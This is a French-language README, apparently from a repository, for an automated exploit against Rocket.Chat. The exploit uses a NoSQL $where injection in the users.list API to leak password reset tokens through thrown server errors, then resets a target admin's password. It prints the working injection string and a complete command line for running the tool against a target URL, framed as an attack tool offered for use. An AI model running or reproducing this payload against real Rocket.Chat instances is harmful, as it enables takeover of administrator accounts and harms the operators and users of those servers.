
Exploit automatisé d'injection NoSQL pour Rocket.Chat qui divulgue les jetons de réinitialisation de mot de passe via la clause $where et permet une prise de contrôle de compte non authentifiée.
Un script d'exploitation automatisé pour Rocket.Chat (et les applications basées sur Meteor) qui tire parti d'une injection NoSQL via la clause $where pour fuiter les jetons de réinitialisation de mot de passe par le biais d'exceptions côté serveur. Une fois le jeton divulgué, le script effectue une réinitialisation de mot de passe non authentifiée.
Authentification : Le script s'authentifie en tant qu'utilisateur standard pour accéder au point de terminaison /api/v1/users.list.
Injection NoSQL : Il utilise le paramètre query pour injecter une clause JavaScript $where.
Exfiltration de données : En utilisant l'instruction throw dans l'injection, il force le serveur à renvoyer une erreur « exception non interceptée » contenant le jeton de réinitialisation de mot de passe de l'utilisateur cible.
Prise de contrôle du compte : Le script utilise le jeton divulgué pour appeler resetPassword, modifiant ainsi le mot de passe du compte cible.
Python 3.x
Bibliothèque requests
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
Le cœur de l'exploit est la chaîne d'injection :
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
Lorsqu'elle est traitée par le serveur, le moteur de base de données exécute la fonction anonyme, plante sur le throw, et l'application intercepte l'exception, renvoyant par inadvertance le jeton secret à l'utilisateur dans la réponse d'erreur JSON.
| Argument | Long Flag | Description |
|---|
-u | --user | Votre nom d'utilisateur ou e-mail valide pour l'authentification initiale. |
-p | --password | Votre mot de passe valide. |
-a | --admin | Le nom d'utilisateur du compte dont vous souhaitez réinitialiser le mot de passe. |
-ap | --admin-pass | Le nouveau mot de passe à définir pour le compte administrateur. |
--url | L'URL de base de l'instance Rocket.Chat. |